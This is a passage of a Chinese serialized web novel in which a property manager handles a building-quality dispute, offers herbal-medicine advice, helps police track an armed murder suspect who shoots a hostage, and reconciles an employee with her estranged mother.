“来吧，向荣兄弟，今天找我什么事？咱们切入主题吧。”许力变了一副积极的面容。 我也倒满了酒，跟许力碰了杯，一饮而尽。 几杯酒下肚之后，从食道一直热到胃里，头有些微晕，感觉上放松了很多，这种感觉很好。 “力哥，德邻居的工程质量，你怎么说？”在直接的人面前，我不玩套路。 许力没说话，还想点烟，看看我，又停住了，但是接下来情绪的无所适从让他尴尬。 “力哥，抽吧，没事，少抽就行。你那大拇指的指腹干瘪凹陷，提示你脾气不足，功能虚弱、失调，你现在一定有消化不良、便秘、腹泻、腹胀这些问题，对吧？”我问。 许力愣住，停下拿烟的手，“你怎么知道的这么清楚？就看看我的指腹？蒙的吧。” 哈哈哈，我们两个一起笑起来。 “不是蒙的，我说的对不对吧？你要是信我，以后你的治病良方，我包了！”我喜欢许力高知、直率。 “哈哈，行，我记下了啊，你可不许抵赖。”许力又喝了一杯酒，脸孔微微泛红。 “德邻居当时的招采出了点问题，确实有几栋的材料不合规。当时集团做了数据采集分析，影响在风险范围内，所以，就没有返工。” 我知道这样的信息，如果不是很亲近的关系，根本不可能知道，心里和许力的距离又拉近了几分。 “力哥，过去既然已经翻篇了，也不容易追究了。现在出现的问题是，有一家业主的棚顶因为跑水被泡了，要我们物业索赔，还拒绝交物业管理费。我估摸未来恐怕不仅这一家会出现问题，所以我想，我们合作一次。” 许力抬眼问我：“怎么合作？做什么？” “我们双方成立一个项目组，把物业介入时欠缺的工作补上，将工程遗留问题和可能出现的隐患做一次整改，如何？” “这个事情，我自己不能拍板，得和我的上级汇报，因为涉及费用。”许力扶了扶眼镜，看看我又说：“向荣，做这个事情，物业也是有风险的。” “什么风险？” “比如会有一些业主利用这个机会搞事情，钻空子。我觉得你现在应该也是一涉及到费用就很困难的状态吧？因为之前老林也是这样的。” 我点点头，许力说的担忧确实会有可能出现。 “但是力哥，这个欠缺如果不弥补，未来如果再出现几家有这样的问题，那你们公司在业内的口碑，包括在市场上的信誉度可就打了，而且这笔费用，在做楼盘开发的时候应该是有预算的不是吗？”我坚持己见。 许力想了半天，“好吧，我答应你，今天我就回去跟领导说。不过，这事儿我们就不要大张旗鼓，弄的人尽皆知，我们悄咪咪进行弥补就好了，避免有好事者出来搞事情。” “行，只要你们能配合我们亡羊补牢，其余的事情我去搞定。”我一锤定音。 “哈哈，向荣，跟你聊天真痛快，办事干脆利落，一点不墨迹。” 许力举起酒杯，“来，再喝一杯。” 我陪着他又干了一杯，想了想我问他：“力哥，你这么优秀的学历和学校背景，怎么没去更好的地方，来了这里做前线呢？” “哎，一言难尽，一步错步步错。”许力扼腕叹息。 原来他毕业那年，确实是被哈尔滨当地一家设计院录用了，国企的福利待遇跟发展平台是相当不错的，但是问题就是薪资没那么高。 再加上哈尔滨当地的地域问题，他在很长的一段时间里，工资都没有以前不如他的同学高，所以他就特别想跳槽下海。 结果确实如愿了，也带项目了，薪资也翻了好几倍，但是快乐没了，也不能钻研技术了，家，更是想回难回了。 “向荣，我出来那年，我儿子才两岁，平时我经常不在，有一年我回去，他竟然管我叫叔叔，你知道什么感觉吗？我那心里边......” “力哥，能理解，我能理解。你在哈尔滨当地再找找呗，有合适的就回去。” “太难了，我跟你说，太难了！而且我估计以后机会越来越少。现在，我都不能深入的想这件事儿，想了因为没有解决办法，我都绝望。”许力无奈的点燃了一根烟。 我看着这一次他点烟的毫不犹豫，终于知道了他吸烟成瘾的原因。 “力哥，不行就接嫂子和孩子过来呗，一家人只要在一起，管它什么别的呢！” “你嫂子工作也是国企的，有编制，咱家房子还带学区，以后孩子上学，教育资源也是很好的，我怎么能让他们放弃呢！” “那你们就这么两地一直这样，感情不是越来越淡吗？”我问。 “哎！无解，这道题无解！你说我念了这么多年书，到了人生的课题上，我依然就是一个普通人，很多时候我都怀疑自己那些年拼了命努力学习是不是有意义。” 许力不再说话，轻轻的吐着眼圈。 我听着他的故事，顿觉无力，左也不是右也不是，确实无奈，这种无奈时间久了会让人丧失激情和斗志，甚至怀疑自己。 第一百一十九章 许德生的踪迹 那天晚上我和许力都喝多了，我把我爸得了癌症，我却无能为力的事情讲给许力听。 我告诉他，我既没钱也没手艺能让我爸的生命再继续延续，每个人的无奈不尽相同，但每个人都有自己的无奈。 许力劝我，凡事看开，要相信冥冥中自有安排。 我笑他，“你一个高知分子竟然也相信“冥冥中”啊，那你说说风水学和你学的建筑设计有什么玄机。” 他竟然能大谈特谈风水学，还将里面很多的观点同建筑设计联系起来。 “真不愧是高知啊，你刚才说的那套理论，在风水学上都成立！力哥，你这个兄弟我真的没白认，我是捡到宝了啊！” “向荣，你也喜欢研究风水？” “我不是喜欢，我是很喜欢，从小就得自我姥爷的真传，很多楼盘，我去之前就能根据地气、方位判断出它的兴衰成败。”我眼睛红红的看着许力。 “好！太好了！没想到我在这遇到了知音。你知道我的薪资为什么是咱们集团最高的么？就是因为我的设计理念中兼顾了风水学，那些风水学上明令的红线，我从不僭越。” “力哥，你是这个。”我朝许力竖起大拇指。 我看他捂着肚子，还一个劲打嗝，赶紧和他说：“今天就别喝了，我给你写个方，你回去熬药喝，这个事不能脱，脾胃主运化，拖久了，身体其他脏器也会出问题。” “向荣，你是认真的吗？”他还是不太相信我。 “你喝了呢，有恢复的可能，你不喝的话，恢复的可能是零。你文化水平这么高，这个概率你自己计算一下。我上小学四年级就开始学中医学了，治好的病人不比你开发的楼盘少，我值得你给与信任去试一次。” 我笑眯眯的看着他，许力摊摊手，“那就算我捡个便宜了，哈哈哈！” 跟许力分手以后，我迷迷糊糊的往住处走，忽然想到这个时间，安宁在不在摆摊？ 于是我特意拐了个弯，从那天看到安宁摆摊的位置走。 其它的几个摊位都在，但是安宁没出来。 我一边走一边想，这丫头恐怕以后都不能出摊了，毕竟有工作了。 正想着，路边停的一辆红色宝马吸引了我，这不是徐女士的车吗？她来了？ 我左右看了看，只见车，不见人，奇怪，这徐女士不像是吃路边摊的角色啊，怎么来这里了？ 第二天，安宁过来了，高阳没有来。 “安宁，昨晚上没出摊啊？”我问。 “啊？哦、我，一开始出了，后来城管又来了，我就溜了，您去看我了？”安宁问我。 “城管？没有啊，我看到那些人都干的热火朝天的，一直都在。”我狐疑的看着她。 安宁也没再说话，过了一会儿她问我：“领导，高哥没有来，是不是这个工作就是我的了？” 我看看高阳空着的座位，心里总觉得他能来，所以没回答安宁的问话。 “安宁，如果你获得这个工作，可要好好干，你是知道的，咱们集团对用人卡的比较严，因为你是在我下面，我抬抬手让你过了而已。但是如果你不能胜任要求，我还真是无能为力保你。”我想我有必要给她一些压力。 “领导你放心，你说的我懂，我能理解。我会好好珍惜这份工作的。”安宁掩饰不住的开心。 正在这时，高阳来了，看到我之后很正式的跟我说：“吕总，我想好了，这份工作我干。我也不跟安宁竞争客服岗了，我想干安保，多赚一点。我跟我家那口子已经商量好了，这是我经过慎重考虑之后的决定。” 我就知道会是这样，我拍拍高阳的肩膀说：“好！好好努力，未来还会有上升空间。” 高阳跟我相视一笑。 安宁听见这个消息，也很激动，“高哥，太好了！我愿意跟你一起合作，我家也住附近，以后我们互相都可以有个照应。” 高阳也开心的说：“是啊，我决定留下来也有这个原因，你让我对团队合作有信心，没有外面那些套路和弯弯绕绕。” 我看看新加入的这两个人，德邻居的工作，我可以放心了。 手机铃声打断了我的思绪，来电显示是林翔。 “喂，老林，有什么指示？” “向荣，有线人反映许德生去临市了，你是不是还在临市？” 许德生来临市了？我很惊喜。“我在啊，他来这了，那没跑了，我逮他！” “不要轻举妄动，你在物业，有有利条件，我给你打电话是希望你帮我侦查一下线索和蛛丝马迹。他手上有冯楠和冯晶晶，现在不知道两个人的安危，轻举妄动的话，人质会有危险。”林翔严肃的说。 啊？冯六日在他手里？这个家伙还真是很难搞。 “老林，告诉我具体的安排，我帮你调查。” 据老林的说法，许德生出没的地域正是德邻居附近，而且很像是安宁摆摊那附近的老式居民楼。 “向荣，他手里应该是有武器的，你务必小心！务必不能轻举妄动！我后天就赶到临市。还有，丁有生撂了。” “真的吗？你们抓到他的罪证了？”都是好消息，我很激动。 “对，我们截获了他倒卖的一批文物，价值不菲。他撂了，但是刘才东那50万，他说他不知情。” “什么？你的意思，东哥还要担着嫌疑？”我有点着急。 “所以，我们要抓到许德生，才能真相大白。其他几个人因为什么被害的，等我到了再和你细说，我这边有急事要先处理。” 林翔没等我再言语就挂断了电话。 看来我一时半会儿还不能走，许德生，如果你在临市，我一定将你按住！ 晚上我早早就去了安宁摆摊的小街，想借机会看看是不是能遇到许德生，安宁果然已经出摊了。 “领导，我就知道你会来，给你抻了碗面，趁热吃。”安宁热情的招呼我。 这姑娘的细致劲儿，让我倍感安慰，一个人在异乡，如果能有人给你准备一碗热面，那种温暖是自己下馆子无法比的。 安宁做的面条味道很特别，尤其里面的面汤，喝到嘴里沁人心脾。 “安宁，这手艺你跟谁学的？可以开个面馆了。”我由衷的赞叹。 “跟我爸爸，我爸就是厨师，很厉害的厨师！”安宁说起她爸爸明显很骄傲。 “你爸爸现在不在了？”我问。 安宁的兴奋劲减弱，幽幽的说：“高二那年，他出了车祸，人当时就没了。” “这是你辍学的原因？那你妈妈呢？” 我终于了解了她辍学的无奈，家里的顶梁柱没了。 “我妈......不要说她，一个没良心的女人。”安宁气愤的扯着手里的面条，不再言语。 看来这丫头有一段痛苦的经历，经历虽然痛苦，却也造就了今天独立且坚韧的她。 这时候，街对面传来汽车喇叭的鸣笛声，很显然是在提示安宁的。 我转头看过去，啊？徐女士 第一百二十章 冯晶晶在哪？ 安宁很厌烦的看了看，片刻都没有停留，开始收摊子。 “安宁，徐女士来找你的？是因为那天物业的事情在难为你吗？”我赶紧问。 “不是的，领导，不是工作的事。你别多想，我不想搭理这个人，我先回去了。”说完以后不顾我的疑惑和阻拦，推上小车就骑走了。 徐女士从车里探出头，看到安宁跑了，颓丧的趴到方向盘上。 我太好奇了，忘记了要逮许德生，径直走向宝马车。 “徐女士，你来找安宁？”我靠近车窗问她。 徐女士抬起头，竟然满脸泪水，吓了我一跳。 “您这是、这是......怎么了啊？”我问。 “吕总是吧，安宁的工作如果你给解决了，我就撤诉，我也不索赔了，你让我交多久的物业管理费，我就交多久的物业管理费。”徐女士像是下了很大决心似的说。 “安宁威胁你？”我反问。 “没有、没有，跟安宁没关系。这是我和她之间的恩怨，但是你们确实是借了安宁的光，我明天就去撤诉，你放心吧，而且我也不会散播这件事。但是我要提醒你，楼体的质量问题，以后别人家再出现，可不关我事。”徐女士说完，发动引擎开走了。 留下我楞在原地，这都哪跟哪啊？ 安宁和徐女士之间的恩怨非同一般啊！ 我满头毛线的往住处走，忽然发现街边坐着一个吃串的人，贼眉鼠眼的，那个身材太像许德生了。 我悄悄的靠近，绕到可以看到脸的稍远的位置，是他！就是许德生！ 我努力的平息自己激动的情绪，踏破铁鞋无觅处，冥冥中把他送到了我的地界。 跟着他，看他住在哪里，然后汇报给林翔。 主意打定，我蹲在暗处，眼睛都不舍得眨一下的盯着许德生，生怕我一不留神让他给跑掉。 这家伙好像在饿牢里关了几年一样，足足吃了一个多小时，才打着饱嗝起身离开。 我跟他保持着安全距离的跟着，七拐八拐的去的果然是安宁家所在的老旧居民楼。 他手里拎了几个打包饭盒，难道是给冯晶晶和冯楠的？ 许德生喝了几瓶啤酒，晃晃悠悠的，可能也没想到这么快就被人盯上了，行为并不是很严谨，也没发现我在盯梢。 这老旧小区是外放式阳台，一层楼的走廊有好几家，推开门看到的就是外面。 他上了二楼，往最里面走，我也亦步亦趋的跟着，看见他在走廊尽头停下来。 他开了门进去之后，我也来到门边，趴在门上听了半天，没有听到什么动静。 我又绕到旁边的窗边，好在窗上的帘子只挡了一半，能看到屋子里面的半角。 那是、那是冯楠吗？ 满头白发，整个人被绑在椅子上，眼皮无神的垂着，整个人瘦的像一片叶子。 看到这一幕，我愤懑的捶着墙壁，怪我，是我没有及时的提醒他。 既然冯楠在，晶晶也在吗？晶晶，那个女孩也会受到非人的折磨吗？ 应该不会，冯晶晶毕竟是丁有生的亲闺女啊，是许德生的亲戚啊！ 可是，一个人一旦丧心病狂，又有什么是做不出来的。 我探头探脑往里看的时候，一个老大娘的声音传过来：“你找谁呀？” 我吓了一跳，赶忙离开了许德生在的那一户，怕他听到起疑，赶紧跟往这边张望的大娘摆手，慌乱的下了楼。 “老林，我找到许德生了，快来！”我拨通林翔的电话。 “这么快，向荣，你不要轻举妄动，我今晚就赶过去，我不希望你有事。”林翔说。 “我看到了冯楠，被折磨的不成样子了。”我说。 “这个许德生没人性了，几条人命了！”先不说了，我这就赶去临市。 结束了通话，我不能离开，待在角落看着许德生那户的房门，等到林翔过来。 后半夜的时候，房门开过一次，开门的是许德生，还往外面的垃圾箱里扔了什么东西。 等他进去以后，我跑到垃圾桶旁边开始翻找，是一些医用卫生棉，沾了血的绷带。 我把这些收集到随身携带的塑料袋里，回到刚才待的角落，一直等到天亮。 林翔来的时候，我冻的瑟瑟发抖，“向荣，你就站着盯了一宿？” “老林，人还在，快！”我急急的跟林翔说。 林翔跟带过来的一个警察说：“再给李队打个电话，问问他们什么时候能到。” “向荣，来的路上我跟当地的刑警请求了支援，我们再等一会儿。” 正说着，许德生那户的门开了，许德生推着冯楠走了出来，身上还背着一个帆布包。 他们，是要跑吗？ 我用眼神询问林翔，林翔也意识到了问题的严重性。 林翔用眼神示意另一个刑警，准备行动，然后压低声音对我说：“向荣，你不许跟着！” “我......”我后面的话还没说完，林翔已经冲了过去。 我就眼看着许德生看到了林翔，把冯楠拽到了自己前面，手里握着的是，一把枪！ “老林，他有枪！小心！”我大声喊着，林翔是我的兄弟，我不希望他有事。 可是，许德生毫不犹豫的就朝林翔开了一枪。 我是第一回这么近距离的听见枪响，赶紧靠到墙边，直接就听到冯楠毫无征兆的喊叫起来，那是一种惊恐，还有绝望。 许德生趁乱扔下冯楠就跑了，林翔和另一个警察也追了上去。 我赶紧跑过去看冯楠，很不幸，他中弹了，刚才那一枪不是打林翔的，而是在射杀他。 “三哥、三哥，你怎样了？别怕，我给你叫救护车。”我扶起冯楠的身体，顾不上手上蹭上的鲜血，拨打了120。 “向、向荣，快去、快去救晶晶、救晶晶！”冯楠扯住我的袖子着急的说。 “晶晶在哪？她在哪？” “在B、B城。”冯楠越说越虚弱，中枪的位置汩汩的流出鲜血，让他本就瘦弱的身体，显得不堪一击。 “向荣兄弟，刘才东，我家地下室......”话没说完，冯楠就闭上了眼睛。 这半截话把我的心彻底的揪起来，东哥在冯楠家地下室？什么啊？到底是什么啊？ 第一百二十一章 安宁辞职 救护车的声音由远及近，我看着冯楠被抬上救护车，心里祈祷他千万要活下来。 转身赶紧跑回许德生待的那间房，我要看看还有什么遗留。 房间里很乱，确实没有女人待过的迹象，难不成冯晶晶真的没有被带出来？ 翻找了半天，也没再见到任何有价值的东西，我还希冀着能帮王敬之找回黄金罗盘。 现在看来，这里没有任何可能。 下楼的时候，老林他们回来了，我急切的用眼神询问怎么样了，老林颓丧的蹲在地上，“人跑了。” 我也一屁股坐在地上，这一晚上的蹲守，只是解救了冯楠而已。 “林哥，发通缉令吧，他有枪。”另一个警察说。 “大斌，你去安排吧，然后你先回去，我跟我兄弟还要聊一些事情。”林翔说。 叫大斌的警察点头回去安排通缉的事情，我拉着林翔，我们回了物业办公室。 “老林，你受伤了！”我看着老林鲜血淋漓的胳膊，赶快找急救箱给他包扎。 “向荣，许德生这一跑，再想抓到就不那么容易了。”林翔不无低落的说。 “老林，我有信心，天网恢恢疏而不漏，我就算走遍全国的物业，也要把他逮出来。何况，还有冯晶晶的下落不知道呢，这丫头是我师哥的好朋友，我不能不理。” 林翔看看我，说：“向荣，你为人仁义，你这个兄弟我没交错！冯晶晶应该不会有生命危险，不过，她身陷什么环境就不清楚了，有可能会被折磨。可惜，她的踪迹只有许德生知道。” 我顺着林翔的话想了想冯晶晶有可能会发生的事，心里很不安。 “冯楠晕倒前，说让我去B市救冯晶晶，她应该还在B市。他还让我去他家地下室，说是刘才东什么的。”我和林翔说。 “哦？这个信息很关键。不过，向荣，你去过他家，他家有地下室吗？”林翔问我。 “对啊，他家是二层独栋，我不记得有地下室啊！”我也迷糊了。 “这个冯楠，是昏头了吗？他说的话到底是什么意思？”我焦急的说。 “等吧，看看医院那边的消息，如果他脱离危险了，我们再去问问看。”林翔说。 “老林，杜国瑞和李文月到底因为什么被杀的？”我问。 “因为李文月发现了丁有生倒卖文物的另一本账，里面的往来金额很大。她发现以后立刻告诉了杜国瑞，杜国瑞就去找冯楠，冯楠也是因为这个才知道丁有生还有其它买卖。李文月还偷偷留了几笔账的复印件，杜国瑞去找丁有生谈要分一杯羹的时候，丁有生起了杀心。许德生为了询问李文月那几笔账的复印件在哪里，对李文月实施拷打，将其打死后直接就地掩埋了，但依然没有找到复印件。杜国瑞知道李文月被许德生软禁，去找他理论，两个人发生了冲突，后来许德生在工地做了手脚，杜国瑞失足摔死。” 我听着事情的真相，品味着这里面的问题，感叹许德生心黑手辣。 “老林，这些事情到底是丁有生指使的，还是许德生自己自发的？”我问。 “这两个人的死，丁有生承认是他授意许德生做的，王闯是许德生自己去干的。” “王闯是刹车失灵是吧？”我问。 “对，丁有生说，许德生跟他承认是他派人在王闯的刹车上做了手脚，杀王闯是因为王闯在杜国瑞去找许德生的前一天，见了杜国瑞，许德生怀疑王闯也知道了内幕。” “啊？仅仅是怀疑就杀了人？”我气愤的攥紧拳头。 “许德生罪大恶极，不但手上好几条人命，还持枪、走私，这是一个完完整整的恶人！”林翔也很气愤。 “老林，刘才东到底因为什么被杀的？”我最想知道的就是东哥的死亡原因。 “丁有生几乎都不认识刘才东，我们问到有一晚陪谢敏去名都的保安，他才反应过来，对上号。丁有生说许德生跟刘才东在荟萃亭起过冲突，因为许德生的车没有进荟萃亭的入门证，刘才东不让车进去，许德生打了刘才东一个嘴巴。至于被杀的原因，丁有生说不清楚，只是听许德生说，刘才东看到了什么，不能留。”林翔回忆着。 “丁有生就没有劝阻过自己外甥这些凶残的行为吗？刘才东，那么普通的一个老百姓，为什么要夺取人家的性命？”我愤怒的评论着。 “向荣，他们这些人，在为自己的帝国蓝图做谋划的时候，是不会去考虑别人的利益的，他们会除掉一切妨碍他们的人才是真的。”林翔看着我，道出了真谛。 “我不会放弃的！走到天涯海角我也一定要把许德生抓回来！我一定要让他给东哥抵罪！”我一拳砸在办公桌上，此刻的决心堪比金坚。 “向荣，明天我就要回去了，我要去布置许德生的抓捕，你的心情我能理解，但是这件事你一定要答应我，不论什么时候、什么地方，你遇到了许德生，都不要轻举妄动，务必要通知我，如果你把我当兄弟，你就要答应我。”林翔让我表态。 “好！我答应你，我不会轻举妄动，我一定先通知你。”我给了林翔承诺。 “老林，冯楠那边，你不等他醒过来再走吗？”我问。 “不能等了，我会跟当地的同事说一声，让他们支援。冯楠现在知道的事情，我们应该也都知道了，让他好好养病。当然，如果他能说出冯晶晶的下落，那是极好的。” “老林，我在这里的时候，会帮你关注他，等我回了B市，我去找一下他说的地下室，我倒要看看地下室和刘才东有什么关系。”我说。 跟林翔又陆陆续续的聊了很多事情的细节，一直到林翔离开之前，我都没有关注工作上的事情。 果然就出了问题，安宁不干了。 回到物业办公室以后高阳第一时间就和我说了这件事。 “吕总，安宁辞职了，她说不好意思当面和你说，让我转告你。”高阳说。 “什么？因为什么不干了？”在我心里认为最不可能离开的人却离开了。 “她没说，就说觉得自己不适合在这里。” “不适合在这里？”我立刻想到了徐女士。 “高阳，徐女士来过了？又难为你们了吗？”我问。 “她倒是没来这里，而且我也接到了法院的电话，说是当事人撤诉了。”高阳说。 徐女士果然说到做到，撤诉了，集团那边的压力倒是解决了。 “吕总，但是我昨天下班的时候看到一件事，不知道该不该和你说？”高阳神神秘秘的说。 第一百二十二章 解铃还须系铃人 “你有话就说，不要遮遮掩掩。”我严肃的说。 “吕总，我看见安宁和徐女士在园区门口吵架，安宁可凶了，徐女士都不敢说话。” “吵架？你听见他们说什么了吗？”我问。 “好像是说车祸什么的，然后安宁说以后不要再找她，别的我就没听到了。”高阳回。 看来徐女士才是安宁离开的关键。 “高阳，这两天你辛苦一点，等我把安宁找回来，你们各司其职。我会安排保洁王红和老赵配合你的。”我安排着工作。 高阳狐疑的看着我，不相信我能把安宁找回来。 我没有给他解惑，而是出了物业办公室，我准备去找徐女士。 路上我的电话响了，是许力。 “力哥，怎么样？你领导同意了吗？”我笑着问。 “你小子能掐会算吗？就知道我找你是说这件事。”许力在电话那边也是笑着的声音。 “确实啊，掐算的事情我也略懂。” “得得得，说你优秀你就飘，说正事啊，我们领导确实同意了，因为就像你说的，我们当时做项目的时候是有这笔预算的。不过，领导给安排了期限，只有一个月，一个月内完不完得成也就一个月。” “行，一个月够用了，我这边会安排人配合你们，把每一处需要验收的都重新过一遍就行。业主看到了，今后也不会再跳脚起义了。” “好，那我就安排人了，明天咱们就开始。”许力的执行力是一流的。 “力哥，怪不得林哥能和你做朋友，你这办事的效率真高！”我由衷的夸赞着。 “你那药方我去抓了一副喝了两天了，腹胀和打嗝的问题改善了不少，你小子果然不是忽悠我啊！”许力说。 “力哥，你看你们这些高知，是不是都对身边的人持怀疑的态度啊，我从来不打诳语。” “哈哈，我逗你呢，你还当真，行了，我要忙了，你等着明天接待我们工人就行了。” 跟许力愉快的结束了通话，德邻居的问题基本上都解决了，只要找回安宁，我就可以回B市了。 敲响徐女士的房门后，等了半天，才有人给我开门，开门的果然是徐女士。 “哟，吕总吧，你怎么这个时间来我家了？我现在可不欠你们费用了，起诉我也撤了。你来是为什么事啊？”徐女士很意外。 “我来是为了安宁，她辞职不干了。”我开门见山。 “什么？辞职了？你为什么不留住她？”徐女士直接就迁怒过来。 “我怎么留住她？她说不适合呆在这里，我这么好的一个员工因为你选择辞职，徐女士，你是不是应该和我说说你们之间到底有什么恩怨啊？了解了病症我才能下药。” 徐女士听我这么说，整个人颓唐下来，仿佛有一种无法挣脱的悲伤。 “好吧，我告诉你。”她下了很大决心，吐出这么一句。 “安宁是我女儿，她上高中那年，我离开了她和她爸爸，找了现在的老公，她爸因为接受不了，出车祸死了，安宁一直怪我到现在。那天在物业认出她来，我才知道我们现在住的这么近。我偷偷的跟踪过她，发现她过的并不好，晚上还去那么乱的地方摆摊，我想给她一笔钱，但是她不要，还一直指责我，要跟我彻底划清界限。”徐女士越说声音越小，后来变成了抽泣。 “我不能让我现在的老公知道我有这么大一个女儿，所以我解决了跟你们物业的所有纠纷，一算是我给她的工作做的贡献，二一个我也不想再跟你们、跟她有什么交集。我现在的老公如果知道我有这么大的女儿，一定会跟我离婚的。”徐女士边说边哭。 事情的真相比我想的还要离谱，徐女士竟然是安宁的妈妈。 我也瞬间理解了安宁，理解了她为什么这么恨徐女士，她很好的一个家、她的学业、她的前途都被徐女士的一个决定给毁了。 这个决定是为了徐女士自己，这种自私的行为，怎么当别人的妈妈呢？ “吕总，你一定要劝回小宁，她能有这样一份工作不容易。如果你能劝回她，我可以再给你交几年的物业费都行。”徐女士急切的说。 我看看面前这个女人，她应该还没有搞清楚安宁为什么对她这么排斥。 “徐女士，我会去找安宁的，但我不是为了你那点物业费。我去找她是因为她的能力完全胜任我的要求。而且，我劝你，以后不要再去祈求她的原谅，对于安宁来说，以后你们不相往来才是她最渴望的。”我有点冷漠的发表意见。 “我不会去找她了，不会的。我只是、只是有时候会想她，想看看她过的好不好。她小时候总是跟在我身后，妈妈、妈妈的喊我，很多个夜里我都会梦到她，我是真的想她。” 我看着徐女士这迟来的母爱，有点鄙夷。 “你这么想她，为什么当初舍得撇下她离开？你就没想过会给她造成什么样的伤害？你这些情感来的太不是时候了。一个人不能既要、又要！” 说完我就准备离开，徐女士喊住我：“吕总，我明白你的想法，我确实是一个很自私的女人，我对不起安宁，不配做她的妈妈。我只是希望，希望你能给她一次机会，你和她说，如果是因为我她选择离开这份工作，我可以搬走，我可以走，让她留下。” 我看看很真诚的徐女士，点点头离开了。 也许吧，她作为母亲的心开始觉醒了，但是对于安宁来说，伤害已经形成，不能因为她的几句忏悔、几样舍弃的行为就原谅她曾经的伤害啊！ 想找到安宁很容易，我还是选择晚上去了她的小吃摊，我确实很想念安宁的面条。 “领导，你来啦？还吃面？”安宁微笑着问我。 这个坚强的小姑娘让我很佩服，之前对她辍学的偏见全都烟消云散了。 “对，吃面，过两天我就要回去了，回去之前想再尝尝你的面。”我也笑着说。 “回去？这边的事情都办完啦？”安宁一边说一边给我扯面。 “办完了，开发商会重新做一遍维修，缺岗的位置也找到了人，其它地方还有很多工作等着我去处理。”闻着锅里滚开的面汤香味，我顿时觉得饥肠辘辘。 安宁看看我，欲言又止，我知道她要说什么，其实她是舍不得这份工作的。 “徐女士说了，让你留下，她会搬走。她现在的老公不知道她有孩子，如果知道了，会跟她离婚，她现在有的一切就都没有了。”我说着我想说的。 第一百二十三章 鸡肋和瘦身的距离 安宁的表情有了动容，“她搬走？” “是的，她让我转告你，你找到这份工作不容易，她可以走，你留下。她还说，她心里对你有歉意，她知道自己错了，但是不奢求你的原谅，只求，你以后可以过的好，她也就放心了。”我如实转述。 我的面好了，我往里面放了点辣子，细细的品味起那汤，还有劲道的面条。 安宁好半天都没再说话，等我面条吃到一半的时候，她说：“领导，你尝试过被最亲的人抛弃的滋味吗？我那天拼命的哭喊，她却连头也不回。爷爷拉住我，告诉我我妈妈不要我了，我都不相信，哪有妈妈不要自己孩子的！” 我抬头看看安宁，她的眼睛里闪烁着泪花。 “后来，我爸爸在一次下班回家的途中，因为精神恍惚被车撞了，当场人就没了。我也不能再继续上学，因为我爷爷没人照顾，我家也没有钱支持我再去念大学，而这一切的始作俑者都是我妈妈，是我妈妈呀！”安宁破防了。 我静静的听着，我确实没有过这样的遭遇，但是这样的心情我能理解。 “安宁，听我一句劝，工作是自己的，跟任何人都没关系。你只有自己能够独立，有了可以让自己安身立命的事业，才能谈以后。至于以前，都翻篇了，你觉得你为了以前，而去放弃现在来之不易的工作，值得吗？”我盯住安宁问。 她止住了抽泣，安静的不说话，我知道她听进去了。 “这个位置我给你留着，明天我给大家开我走之前的工作会议，希望你能来。这是面条钱，你这面，等以后我回到B市也会想念的。”我擦擦嘴，离开了安宁的面摊。 一路上心情很沉重，安宁是个女孩，当时她幸好还有个爷爷，幸好她没有走错路。 希望她可以想明白，走出来，再给自己一次选择的机会。 第二天，我跟老赵对接了许力的项目组，我们把在业主中做的民意调研交给他们。 “这是我们做的民意调研，汇总了现有的问题和存在的隐患，也是我们接下来的工作重点。整改后超过维保期的，不在我们这次维修的范围内。希望同志们多辛苦辛苦，咱们一次性高质量交付！”我提出希望。 许力是带队人，听我说完了希望，仔细看了我们梳理的问题，用欣赏的眼光看着我说：“吕总真是干实事儿的人，这民意调研做的好啊！这样我们就不会做无用功了，有业主的参与，日后我们和你们物业都好开展工作。也请吕总放心，我带过来的项目组成员，也都是干实事儿的，肯定保证质量。” 我笑着跟许力握握手，人生总是会有不期而遇的惊喜，比如在这里，我结识了许力。 物业班子会议下班前如期举行，安宁还是没有出现。 我有点失落，但是我必须尊重她的选择，毕竟徐女士给她带来的影响不是一点半点。 “我明天要回去了，德邻居这个盘子交给你们几个人，我只有一个要求，不能给我掉链子。” 几个人相视而笑，连日来的相处，他们都知道我这个人说话“幽默”，方言重。 “吕总，放心吧，高阳啥都懂，这些天他把我和老赵都给调教正规了。”保洁王红笑眯眯的说。 “吕总慧眼识珠啊，能找到高阳这么好的人来我们德邻居。”老赵也肯定。 高阳听见大家对他的评价都这么高，脸颊微微泛红。 “领导，不好意思我来晚了，刚伺候我爷爷吃完饭。”是安宁的声音。 王红、老赵和高阳，都惊喜的喊了一声：“安宁！” 安宁也笑眯眯的看向大家，点头招呼，找了个位置坐下。 安宁的出现给了我鼓舞，但是我必须镇定。 “各位，现在人到齐了，我接着说。现在是德邻居的初始团队，你们还有一个保安的编制，我走了以后，安宁，你配合高阳把这个人招到，我来终审。条件嘛，最好有当兵的经历，不好高骛远，家住附近最佳。” 高阳在本子上唰、唰的记录着，安宁也跟我点头。 “第二件事就是项目组整改，大家务必配合许总，而且，你们要跟着做业主的满意度调查，把每一项整改后、对应的业户调研做了，力求我们下一年度的物业管理费收缴没有难度。徐女士免了半年车位租金作为补偿的事情，不要对外宣扬，有人来问，就说没有的事。” 几个人都看向我，然后秒懂的样子，嘿嘿嘿的笑了。 “你们不要认为我贼噢，这就是运筹帷幄，很多事情都可以商量，在合规范围内，吃点亏，有可能是大得，你们能理解吗？”我问。 “理解，吕总高明！”老赵肯定我，其他几个人也跟着附和肯定。 “最后就是这个盘子后续的喂养了，你们给它打下什么基础，它就是什么样，所以，要看各位的能力和付出的心力了。不要因为它没有难度，或者可以兼顾你们的家庭生活，就把它当做鸡肋，如果你把它当做鸡肋，它也一样会把你们当做鸡肋，而且一旦这样，被集团瘦身掉，那就是分分钟的事情了。到时候，我吕向荣真的没有那么大法力去保你们各位。能找到一份合适的工作不容易，尤其你们各有各的“难点”，所以，希望我们彼此珍惜，好吧？”讲完了全部，我抬头看着每一个人的表情。 “好！吕总放心，我是经过深思熟虑的，一定会充满激情的干到退休。”高阳说。 “吕总啊，我虽然年纪大了，但是每天挨家挨户门廊的收拾卫生，还有感情了呢，工作模式也适应了，我不会把它当鸡肋的，要当也是当自己孩子，哈哈。”王红发表想法。 “领导放心回去吧，老赵家在这，绝对不能在这失业！”老赵最中肯。 “领导，我是最特殊的，您能破格要我，我很感激您！我就不表决心了，希望你下次再来的时候，还能来吃我做的面。”安宁清脆的声音，让我觉得安慰。 “好，那就这样，我今晚上的车，一会儿出发了，家就交给你们几个了，给我看好喽！” 几个人都笑起来，有这样的团队真好！不知道当初林皓是不是也这么想。 第一百二十四章 亲情 回程前我特意先去了一趟冯楠所在的医院，人还是没有醒，医生说冯楠严重的营养不良，身体还有基础病，所以目前的状况还在观察中。 